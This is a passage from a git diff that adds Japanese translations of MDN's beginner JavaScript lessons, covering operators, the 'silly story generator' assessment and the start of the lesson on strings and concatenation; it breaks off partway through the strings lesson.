+ +<pre class="brush: js notranslate">var num2 = 6; +num2--; +num2;</pre> + +<div class="note"> +<p><strong>メモ</strong>: 変数の前に演算子を置くことで、ブラウザにインクリメントまたはデクリメントを先にさせてから値を戻すようにすることもできます。上記の例に戻って今度は <code>++num1</code> や <code>--num2</code> のように入力してみてください。</p> +</div> + +<h2 id="Assignment_operators" name="Assignment_operators">代入演算子</h2> + +<p>代入演算子は変数に値を代入します。すでに一番基本的な <code>=</code> 演算子を何度も使用しています。この演算子は単に左辺に記述された値を右辺に代入します。</p> + +<pre class="brush: js notranslate">let x = 3; // x には 3 が入る +let y = 4; // y には 4 が入る +x = y; // x には y と同じ値:4 が入る</pre> + +<p>ただし、コードを簡潔に効率よく書くための、もっと複雑な方法が用意されています。よく見かけるものを以下に示します。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">演算子</th> + <th scope="col">名前</th> + <th scope="col">目的</th> + <th scope="col">例</th> + <th scope="col">同様のコード</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+=</code></td> + <td>加算代入</td> + <td>右辺の値を左辺の変数値に加算してから、新しい値を返します</td> + <td style="white-space: nowrap;"><code>x += 4;</code></td> + <td style="white-space: nowrap;"><code>x = x + 4;</code></td> + </tr> + <tr> + <td><code>-=</code></td> + <td>減算代入</td> + <td>右辺の値を左辺の変数値より減算してから、新しい値を返します</td> + <td style="white-space: nowrap;"><code>x -= 3;</code></td> + <td style="white-space: nowrap;"><code>x = x - 3;</code></td> + </tr> + <tr> + <td><code>*=</code></td> + <td>乗算代入</td> + <td>左辺の変数値に右辺の値を乗算してから、新しい値を返します</td> + <td style="white-space: nowrap;"><code>x *= 3;</code></td> + <td style="white-space: nowrap;"><code>x = x * 3;</code></td> + </tr> + <tr> + <td><code>/=</code></td> + <td>除算代入</td> + <td>左辺の変数値を右辺の値で除算してから、新しい値を返します</td> + <td style="white-space: nowrap;"><code>x /= 5;</code></td> + <td style="white-space: nowrap;"><code>x = x / 5;</code></td> + </tr> + </tbody> +</table> + +<p>どのように動いているか理解するため、コンソールに上記の例をいくつか入力してみましょう。どの例も、2 行目を入力する前にコードがどのようになるかを予想してから入力しましょう。</p> + +<p>ちなみに、どの演算子も右辺には自由に変数を置くことができます。例えば以下のように。</p> + +<pre class="brush: js notranslate">let x = 3; // x には 3 が入る +let y = 4; // y には 4 が入る +x *= y; // x は 12 になる</pre> + +<div class="note"> +<p><strong>メモ</strong>: もっとたくさんの<a href="/ja/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">代入演算子があります</a>が、とりあえず今は基本的なものだけ知っておけばよいでしょう。</p> +</div> + +<h2 id="Active_learning_sizing_a_canvas_box" name="Active_learning_sizing_a_canvas_box">アクティブラーニング: Canvas のボックスのサイズを変更する</h2> + +<p>練習として、数値と演算子を使用してボックスのサイズを変更してみましょう。ブラウザの {{domxref("Canvas API", "", "", "true")}} を使用してボックスを描きます。どうやって描くかについて気にする必要はありません。今は計算に集中しましょう。ボックスの幅と高さ (ピクセル単位で) 変数 <code>x</code> と <code>y</code> で宣言しています。最初は 50 になっています。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 620)}}</p> + +<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">新しいウィンドウで開く</a></strong></p> + +<p>上の編集可能なコードには、変更すべき 2 つの行にコメントが書かれています。その行を適切な演算子および値を用いて変更し、拡大縮小させてください。それではやってみましょう。</p> + +<ul> + <li>ボックスの幅を 50px としたまま x の値を求める行を変更してください。ただし、50 を 43 と 7、算術演算子を一つ使って演算によって求めてください。</li> + <li>ボックスの高さを 75px になるよう y の値を求める行を変更してください。ただし、75 を 25 と 3、算術演算子を一つ使用して演算によって求めてください。</li> + <li>ボックスの幅を 250px になるように x の値を求める行を変更してください。ただし、250 は 2 つの数値と、剰余演算子を使用して演算によって求めてください。</li> + <li>ボックスの高さを 150px になるように y の値を求める行を変更してください。ただし 150 は 3 つの数値と減算演算子および除算演算子を使用して演算によって求めてください。</li> + <li>ボックスの幅が 200px になるように x の値を求める行を変更してください。ただし 200 は 4 と代入演算子を一つ使用して演算によって求めてください。</li> + <li>ボックスの高さが 200px になるように y の値を求める行を変更してください。ただし 200 は 50 と 3 と乗算演算子、加算演算子を使用して求めてください。</li> +</ul> + +<p>コードを完全に壊してしまっても大丈夫です。いつでもリセットボタンを押すことで何度でも最初から実行できます。上の問題に全問正解したら、もう少し遊んでみてもいいですし、自分で問題を作ってみてもいいですね。</p> + +<h2 id="Comparison_operators" name="Comparison_operators">比較演算子</h2> + +<p>ときには、true または false を判定し、その結果により動作を変更したいと思う時があるでしょう。そのようなことをするために<strong>比較演算子</strong>を使用します。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">演算子</th> + <th scope="col">名前</th> + <th scope="col">目的</th> + <th scope="col">例</th> + </tr> + <tr> + <td><code>===</code></td> + <td>厳密な等価</td> + <td>右辺と左辺が厳密に同一の値であるかを判定します</td> + <td><code>5 === 2 + 4</code></td> + </tr> + <tr> + <td><code>!==</code></td> + <td>厳密な不等</td> + <td>右辺と左辺が厳密に同一の値<strong>ではない</strong>ことを判定します</td> + <td><code>5 !== 2 + 3</code></td> + </tr> + <tr> + <td><code><</code></td> + <td>小なり</td> + <td>左辺の値が右辺の値より小さいこととを判定します</td> + <td><code>10 < 6</code></td> + </tr> + <tr> + <td><code>></code></td> + <td>大なり</td> + <td>左辺の値が右辺の値より大きいことを判定します</td> + <td><code>10 > 20</code></td> + </tr> + <tr> + <td><code><=</code></td> + <td>以下なり</td> + <td>左辺の値が右辺の値以下であることを判定します</td> + <td><code>3 <= 2</code></td> + </tr> + <tr> + <td><code>>=</code></td> + <td>以上なり</td> + <td>左辺の値が右辺の値以上であることを判定します</td> + <td><code>5 >= 4</code></td> + </tr> + </thead> +</table> + +<div class="note"> +<p><strong>メモ</strong>: もしかしたら <code>==</code> や <code>!=</code> といった演算子を同値かどうかの判定に使用する人を見かけることがあるかもしれません。これらも JavaScript の有効な演算子ですが、<code>===</code> や <code>!==</code> とは異なります。前者のバージョンは値が同様であるかを判定しますが、データ型が同様かは判定しません。後者は厳格なバージョンで値とデータ型の両方を判定します。厳格なバージョンはエラーとなることが少ないため後者を使用することをお勧めします。</p> +</div> + +<p>もし、これらの値をコンソールに入力したら、すべて <code>true<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> または </span></font></code><code>false</code> の値を返します。これは前回の記事で言及した、真偽値です。真偽値はとても便利です。コードで判断をすることを可能にしてくれます。また選択肢を選ぶときには毎回使うことになるでしょう。例えば以下のような場合に。</p> + +<ul> + <li>機能が使用可能かどうかに応じてボタンに表示するテキストを変更する</li> + <li>負けた時にゲームオーバー、勝った時に勝利のメッセージを表示する</li> + <li>時候のあいさつを時期に応じて表示する</li> + <li>選択されたズームレベルに応じて地図を拡大する</li> +</ul> + +<p>後の記事にて、条件文でどのようにロジックをコーディングするのかを見ていきます。とりあえずの簡易な例で見てみましょう。</p> + +<pre class="brush: html notranslate"><button>起動する</button> +<p>マシンは停止中です。</p> +</pre> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); +const txt = document.querySelector('p'); + +btn.addEventListener('click', updateBtn); + +function updateBtn() { + if (btn.textContent === '起動する') { + btn.textContent = '停止する'; + txt.textContent = 'マシンが起動しました！'; + } else { + btn.textContent = '起動する'; + txt.textContent = 'マシンは停止中です。'; + } +}</pre> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p> + +<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">新しいウィンドウで開く</a></strong></p> + +<p>等価演算子が <code>updateBtn()</code> 関数の中で使用されていることがわかりますね。今回の場合は数値が同じ値かを判定するためには使用していません。ボタンの内容として設定されている文字列が、特定の文字列であるかどうかを比較しています。ただし、原理的には同じ働きです。もしボタンに「起動する」と書かれていれば、押されたときにボタンのラベルが「停止する」に代わります。もしボタンに「停止する」と書かれていれば、再度入れ替わって元に戻ります。</p> + +<div class="note"> +<p><strong>メモ</strong>: 2 つの状態を行き来するこのような操作を一般的に<strong>トグル</strong>といいます。スイッチの ON/OFF のように、ある状態がもう一つの状態にトグル (切り替え) するといいます。</p> +</div> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の終わりまで到達しましたが、最も大事な情報を覚えていますか？移動する前に、この情報を取得したかのテストを見ることができます — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Test_your_skills:_Math">Test your skills: Math</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事では、JavaScript の数値処理で知っておくべき基礎的なことを学びました。JavaScript を学習する間、今後も繰り返し数値を扱うことになるので、しっかりと復習しておきましょう。数学が好きではなくとも、この章はとても短いので安心して (復習して) ください。</p> + +<p>次の章では文字列と、文字列を JavaScript で操作する方法について見ていきます。</p> + +<div class="note"> +<p><strong>メモ</strong>: もし数学が好きで、JavaScript にどう実装されているかをもっと知りたいのであれば、MDN の JavaScript のメインの章に詳細がたくさん載っています。まずは<a href="/ja/docs/Web/JavaScript/Guide/Numbers_and_dates">数値と日付</a>や<a href="/ja/docs/Web/JavaScript/Guide/Expressions_and_Operators">式と演算子</a>辺りの記事から読むのがいいでしょう。</p> +</div> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/silly_story_generator/index.html b/files/ja/learn/javascript/first_steps/silly_story_generator/index.html new file mode 100644 index 0000000000..ae52da17c7 --- /dev/null +++ b/files/ja/learn/javascript/first_steps/silly_story_generator/index.html @@ -0,0 +1,151 @@ +--- +title: バカ話ジェネレーター +slug: Learn/JavaScript/First_steps/Silly_story_generator +tags: + - Arrays + - Assessment + - CodingScripting + - JavaScript + - Numbers + - Operators + - Variables + - 'l10n:priority' + - strings + - 初心者 + - 学習 +translation_of: Learn/JavaScript/First_steps/Silly_story_generator +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">この評価試験では、このモジュールを通して身に付けた知識を生かして、ランダムなバカ話を生成する楽しいアプリを作ります。楽しんでください！</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>この評価試験を試す前に、このモジュール内のすべての記事を一通り作業しておくべきです。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript の基礎である、変数、数値、演算子、文字列、配列などの理解をテストする。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">開始地点</h2> + +<p>評価試験を開始するには...</p> + +<ul> + <li>GitHubからサンプル用の <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">HTML ファイルを取って</a>きて自分のコンピュータの新しいディレクトリーに <code>index.html</code> という名前で保存します。ここには見た目をきれいにするため、CSS も含まれています。</li> + <li><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">この生テキストを含むページ</a>に移動してどこか別のブラウザタブで開いたままにしておきます。後で必要となります。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: 上記の手順に代わって、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> のようなサイトを使って評価試験を実施できます。HTML、CSS、JavaScript をオンラインエディターにペーストできます。使っているオンラインエディターが独立した JavaScript パネルを持たない場合、HTML ページ内の <code><script></code> 要素内に書いても問題ありません。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの要点</h2> + +<p>HTML および CSS と少しのテキストと JavaScript 関数がありますね。JavaScript を必要なだけ書いて、下記のような動作をするプログラムを書きましょう。</p> + +<ul> + <li>"Generate random story" ボタンが押された時にバカな話を生成する。</li> + <li>バカな話を生成するボタンが押される前に "Enter custom name" のテキストフィールドに名前が入力されていた場合には、既定の "Bob" という名前を入力された名前に置き換える。</li> + <li>バカな話を生成するボタンが押される前に UK のラジオボタンがチェックされていた場合のみ、既定の US (米国) の重さと気温を UK (英国) の同等な単位に変換する。</li> + <li>ボタンが再度 (何度でも) 押されたら、別のランダムなバカ話を生成する。</li> +</ul> + +<p>下記のスクリーンショットは完成したプログラムが出力する例を表しています:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13667/assessment-1.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>これ以上のアイデアを与えるには<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/assessment-finished/">完成プログラムの例を見てください</a> (ソースコードは覗かないで！)</p> + +<h2 id="Steps_to_complete" name="Steps_to_complete">完成させるステップ</h2> + +<p>以下の項目が達成すべきリストです。</p> + +<p>基本的なセットアップ</p> + +<ol> + <li><code>index.html</code> ファイルと同じディレクトリーに <code>main.js</code> を作ります。</li> + <li>{{htmlelement("script")}} 要素を使用して、HTML ファイルに <code>main.js</code> への参照を外部 JavaScript として適用します。{{htmlelement("script")}} 要素は <code></body></code> タグの直前に配置します。</li> +</ol> + +<p>最初の変数と関数</p> + +<ol> + <li>先ほどのテキストファイル内の "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" という見出しの直後にあるコードをコピーして <code>main.js</code> の先頭に貼り付けます。これで "Enter custom name" テキストフィールド (<code>customName</code>) 、"Generate random story" ボタン (<code>randomize</code>) 、HTML の body の下のほうにある {{htmlelement("p")}} 要素 (<code>story</code>) への参照を保持することができます。さらに <code>randomValueFromArray()</code> という、引数として配列を取りその配列からランダムに 1 つの項目を戻り値として返す関数が使えるようになります。</li> + <li>次にテキストファイルの 2番目のセクションを見てみましょう。"2. RAW TEXT STRINGS" という見出しのところです。このプログラムの入力となる文字列が書かれています。<code>main.js</code> の内部で使用できるように、これらの文字列を変数に保持してください。 + <ol> + <li>先頭の長い長い文字列を <code>storyText</code> という変数に格納します。</li> + <li>3 つセットになっている最初の文字列の組を <code>insertX</code> という配列に格納します。</li> + <li>2組目の文字列を <code>insertY</code> という配列に格納します。</li> + <li>3組目の文字列を <code>insertZ</code> という配列に格納します。</li> + </ol> + </li> +</ol> + +<p>イベントハンドラーと未完成の関数の配置:</p> + +<ol> + <li>テキストファイルに戻ります。</li> + <li>"3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" という見出しの直後にあるコードをコピーして <code>main.js</code> ファイルの最後に貼り付けます。これで、 + <ul> + <li><code>randomize</code> 変数へのクリックイベントリスナーが追加され、その変数に紐づくボタンが押された場合に <code>result()</code> 関数が実行されるようになります。</li> + <li>部分的に実装されている <code>result()</code> 関数の定義が追加されます。この課題の中で、この関数の残りを実装し、正しく動作するようにします。</li> + </ul> + </li> +</ol> + +<p><code>result()</code> 関数の作成</p> + +<ol> + <li><code>newStory</code> という変数を作り、<code>storyText</code> の値を <code>newStory</code> 変数に格納します。これはボタンが押された場合に、毎回新しい話を作り出すために必要となります。もし <code>storyText</code> 変数自体に変更を加えてしまうと一度しか面白い話が生成できなくなってしまいます。</li> + <li><code>xItem</code>、<code>yItem</code>、<code>zItem</code> という変数を 3 つ作成し、それぞれ対応する配列で呼び出した <code>randomValueFromArray()</code> の戻り値を設定します (それぞれの配列に含まれる文字列がランダムに選ばれます)。例えば、関数を呼び出して <code>insertX</code> から一つの文字列を取得するには <code>randomValueFromArray(insertX)</code> のように書きます。</li> + <li>次に <code>newStory</code> 文字列内の <code>:insertx:</code>、<code>:inserty:</code>、<code>:insertz:</code> という 3 か所のプレースホルダーをそれぞれ <code>xItem</code>、<code>yItem</code>、<code>zItem</code> に格納されている文字列で置き換えます。ここでは適切なメソッドを使用して、<code>newStory</code> に対して何度メソッドを呼び出しても <code>newStory</code> 自体の値を変えずに置換された文字列が手に入るようにしてください。これでボタンが何度押されても、プレースホルダーの値をランダムなバカ話で置き換えることができます。もう少しヒントを出すと、そのメソッドは見つけた最初の部分文字列だけを置き換えるため、同じ部分文字列を置換するためには 2 回メソッドを呼び出す必要があるでしょう。</li> + <li>最初の <code>if</code> ブロックで、<code>newStory</code> の文字列内で見つかる 'Bob' という文字列を <code>name</code> 変数の値で置換するため、別の文字列置換のメソッド呼び出し追加します。このブロック内では、「もし ( if ) <code>customName</code> テキストフィールドに何かが入力されていれば、Bob をその文字列で置き換える」ということを言っています。</li> + <li>次の <code>if</code> ブロックの中では、<code>uk</code> のラジオボタンが選択されているかどうかを調べています。もし選択されているのなら、重さと温度の単位をポンド・華氏から、ストーン・摂氏に変換したいと思います。そのために必要なことは... + <ol> + <li>ポンドからストーンへ変換する公式、および、華氏から摂氏へ変換する公式を調べます。</li> + <li><code>weight</code> 変数が宣言されている行内の、300 を ポンドからストーンに変換した値で置き換えます。そして <code>' stone'</code> (ストーン) を <code>Math.round()</code> の結果に対して、その後ろに結合します。</li> + <li><code>temperature</code> 変数が宣言されている行内の、94 を華氏から摂氏に変換した値で置き換えます。こちらには <code>' centigrade'</code> (摂氏～度) という文字を <code>Math.round()</code> の結果に対して、後ろに結合します。</li> + <li>上記2 つの変数の宣言の直後に、さらにもう 2 つ文字列を置換するコードを書いて、'94 farenheit' を <code>temperature</code> 変数の内容に、'300 pounds' を <code>weight</code> 変数の内容にそれぞれ置換します。</li> + </ol> + </li> + <li>最後に、関数の下から 2行目にある、<code>story</code> 変数の <code>textContent</code> プロパティ(段落を参照している) を、<code>newStory</code> 変数の内容で置き換えます。</li> +</ol> + +<h2 id="Hints_and_tips" name="Hints_and_tips">ヒントと tips</h2> + +<ul> + <li>JavaScript を HTML に適用する以外に、HTML を変更する必要は全くありません。</li> + <li>もし、JavaScript が HTML に適切に適用されているかどうかを知りたければ、JavaScript ファイルから一時的に全てのコードを削除して、確実に何かが起きるようなコードを追加して、JavaScript ファイルを保存して HTML ファイルを更新してみましょう。次の例は {{htmlelement("html")}} 要素の背景色を赤くするコードです。JavaScript が適切に HTML に適用されていれば、ブラウザのウィンドウが真っ赤になることでしょう。 + <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'red';</pre> + </li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a> は JavaScript の組み込みメソッドで、計算結果を整数値に四捨五入します。</li> + <li>置き換えなければならない文字列のインスタンスが３つあります。 <code>replace()</code> メソッドを複数回繰り返すか、正規表現を使用するかします。具体的には、 <code>var text = 'I am the biggest lover, I love my love'; text.replace(/love/g,'like');</code> とするとすべての 'love' のインスタンスを 'like' に置き換えます。なお、 String は変化しないことに注意してください。</li> +</ul> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>もし特定の組織の元でこのコースを受けているのなら、先生やメンターに出来たものを見せて、評価をお願いしてみましょう。もし自分だけでやっているのなら、<a href="https://discourse.mozilla.org/t/silly-story-generator-assessment/24686">この評価試験のスレッド</a>や、<a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルに評価をお願いしてみましょう。まずはやってみましょう。カンニングしても得られるものはないですよ！</p> + +<p>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/strings/index.html b/files/ja/learn/javascript/first_steps/strings/index.html new file mode 100644 index 0000000000..d4b850bd6d --- /dev/null +++ b/files/ja/learn/javascript/first_steps/strings/index.html @@ -0,0 +1,240 @@ +--- +title: テキストを扱う — JavaScript での文字列 +slug: Learn/JavaScript/First_steps/Strings +tags: + - Article + - Beginner + - CodingScripting + - Guide + - JavaScript + - Join + - Quotes + - concatenation + - 'l10n:priority' + - strings +translation_of: Learn/JavaScript/First_steps/Strings +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">プログラミングでは文字の羅列を文字列と呼びますが、次はこれを学習しましょう。この記事では、JavaScript でよく使われる、文字列を作ったり、引用符をエスケープしたり、文字列を結合したりといった、文字列について本当に知っておくべきことだけを見てみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータの知識および HTML と CSS への理解、JavaScript とは何かを知っている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript の文字列操作に慣れる。</td> + </tr> + </tbody> +</table> + +<h2 id="The_power_of_words" name="The_power_of_words">言葉の力</h2> + +<p>言葉はコミュニケーションの大部分を担う、人類にとって、とても大切なものです。Web は情報の共有やコミュニケーションができるように設計された大規模な文字ベースの媒体ですので、そこで使用される言葉を操作できると便利です。{{glossary("HTML")}} は意味付けされ、構造化されたテキストを提供し、{{glossary("CSS")}} がきれいに体裁を整える事を可能にし、そして JavaScript には、挨拶用の文章を生成したり、適切なラベルを表示したり、言葉を並べ替えたりといった、文字列を操作するたくさんの機能が含まれています。</p> + +<p>今までこのコースでお見せしたプログラムのほとんどが、何らかの文字列操作を含んでいましたね。</p> + +<h2 id="Strings_—_the_basics" name="Strings_—_the_basics">文字列 — 基本</h2> + +<p>文字列は一見すると数値と同じように見えますが、少し深く見ていくと、違いに気づくことでしょう。まずは慣らすために基本的なコードを<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザの開発者ツール</a>に入力してみましょう。</p> + +<h3 id="Creating_a_string" name="Creating_a_string">文字列を作る</h3> + +<ol> + <li>初めに、次の行を入力してみましょう。 + <pre class="brush: js notranslate">let string = '革命はテレビでは放送されない。'; +string;</pre> + 数値のところでやったのと同じように、変数を宣言して、値を入れて初期化しています。そして値を返しています。ただ違うのは、文字列が引用符で囲まれて書かれていることです。</li> + <li>もし引用符で囲わななかったり、どちらか一方を書き忘れたりすると、エラーになります。 + <pre class="brush: js example-bad notranslate">let badString = これはテストです; +let badString = 'これはテストです; +let badString = これはテストです';</pre> + これらの行は動きません。なぜなら引用符で文字を囲わなければ、変数名や、プロパティ名や、予約語などと解釈されてしまうためです。もしブラウザが引用符を見つけられないと、エラーとなります (たとえば "missing ; before statement" [文の前に、セミコロンが見つかりません] のようなエラーです)。2行目の例のように、ブラウザが引用符を見つけても、文字列の終わりが示されていなければ、これもエラーとなります ("unterminated string literal" [文字列リテラルの終わりがありません] というエラーです)。このようなエラーがプログラムで起きたら、全ての文字列について、引用符の付け忘れがないかを確認してください。</li> + <li>続くコードは先ほど変数を <code>string</code> という名前で宣言していれば、動くでしょう。試してみましょう。 + <pre class="brush: js notranslate">let badString = string; +badString;</pre> + <code>badString</code> という変数に <code>string</code> という変数の値が設定されたことでしょう。</li> +</ol> + +<h3 id="Single_quotes_vs._double_quotes" name="Single_quotes_vs._double_quotes">シングルクォーテーション vs. ダブルクォーテーション</h3> + +<ol> + <li>JavaScript では、文字列を囲む引用符として、シングルクォーテーションとダブルクォーテーションを使用することができます。以下のどちらの例も正しく動きます。 + <pre class="brush: js notranslate">let sgl = 'シングルクォーテーション'; +let dbl = "ダブルクォーテーション"; +sgl; +dbl;</pre> + </li> + <li>どちらを使ってもほとんど違いはありません。どちらを使うかは好みの問題ですが、どちらを使うかは統一するべきでしょう。両方を同時に使うと混乱してしまいます、特に同じ文字列に二種類の引用符を使ってしまうときなど！次の行はエラーです。 + <pre class="brush: js example-bad notranslate">let badQuotes = 'なんということだ！";</pre> + </li> + <li>ブラウザは上の文字列が閉じていないと認識します。なぜなら、文字列を囲うのに使用していない引用符はその文字列の中に含めることができるからです。たとえば次の例は問題ありません。 + <pre class="brush: js notranslate">let sglDbl = 'Would you eat a "fish supper"?'; +let dblSgl = "I'm feeling blue."; +sglDbl; +dblSgl;</pre> + </li> + <li>ただし、文字列の中に、囲んでいるのと同じ種類の引用符を含めることはできません。以下の例は文字列の終わりがわからないので、ブラウザを混乱させてしまいます。 + <pre class="brush: js example-bad notranslate">let bigmouth = 'I've got no right to take my place...';</pre> + それでは同じ種類の引用符を含めるにはどのようにすればよいでしょうか。</li> +</ol> + +<h3 id="Escaping_characters_in_a_string" name="Escaping_characters_in_a_string">文字列をエスケープする</h3> + +<p>先ほどのコード行を直すには、問題となっている引用符をエスケープする必要があります。文字のエスケープとは、その文字が、コードではなく、文字列の一部であるとブラウザに認識させる書き方です。JavaScript ではバックスラッシュ ( \ [環境によっては円マーク (￥)]) を文字の前におくことでエスケープすることができます。</p> + +<pre class="brush: js notranslate">let bigmouth = 'I\'ve got no right to take my place...'; +bigmouth;</pre> + +<p>これでうまく動きます。 同じ方法で他の文字をエスケープする (例えば <code>\"</code>) ことができ、それ以外にも特別なコードがあります。詳細は<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation">エスケープ記法</a>を見てください。</p> + +<h2 id="Concatenating_strings" name="Concatenating_strings">文字列を連結する</h2> + +<ol> + <li>コンカチする (concatenate) という単語は「結合する」ことを表すプログラミングの用語です。JavaScript で文字列を結合するにはプラス (+) 演算子を使用します。数値の加算をするのに使用した演算子ですが、今回は違う動作をします。下の例をコンソールに入力してみてください。 + <pre class="brush: js notranslate">let one = 'こんにちは、'; +let two = 'ご機嫌いかがでしょう？'; +let joined = one + two; +joined;</pre> + この例の実行結果は <code>joined</code> という変数に格納され、値は "こんにちは、ご機嫌いかがでしょう？" となります。</li> + <li>今の例は 2 つの文字列だけを結合しましたが、<code>+</code> 演算子が変数と変数の間にあれば、いくつでも結合することができます。例えば、次の例を試しましょう。 + <pre class="brush: js notranslate">let multiple = one + one + one + one + two; +multiple;</pre> + </li> + <li>変数のほかに、実際の文字列と混ぜて使うこともできます。 + <pre class="brush: js notranslate">let response = one + '私は元気です。' + two; +response;</pre> + </li> +</ol> + +<div class="note"> +<p><strong>注</strong>: コード中に、シングルクォーテーションおよびダブルクォーテーションで囲われた、実際の文字列を書いたときそれは<strong>文字列リテラル</strong>と呼ばれます。</p> +</div> + +<h3 id="Concatenation_in_context" name="Concatenation_in_context">様々な結合</h3> + +<p>実際に文字列が結合されている場面を見てみましょう。これはこのコースの最初の方からの例です。</p> + +<pre class="brush: html notranslate"><button>押してみて！</button></pre> + +<pre class="brush: js notranslate">let button = document.querySelector('button'); + +button.onclick = function() { + let name = prompt('あなたの名前は？'); + alert('こんにちは、' + name + 'さん。初めまして！'); +}</pre> + +<p>{{ EmbedLiveSample('Concatenation_in_context', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>4行目でユーザに答えてもらうため、{{domxref("Window.prompt()", "Window.prompt()")}}関数を使用して、テキストを入力できるポップアップダイアログを表示し、ユーザによって入力された文字列を <code>name</code> 変数に格納しています。そして、5行目で{{domxref("Window.alert()", "Window.alert()")}}関数を使用し、2 つの文字列リテラルと <code>name</code> 変数を結合して別のポップアップに文字列を作り上げています。</p> + +<h3 id="Numbers_vs._strings" name="Numbers_vs._strings">数値 vs. 文字列</h3> + +<ol> + <li>それでは文字列と数値を足したら (もしくは結合したら) 何が起きるでしょうか。コンソールに入力してみましょう。 + <pre class="brush: js notranslate">'フロント' + 242; +</pre> + 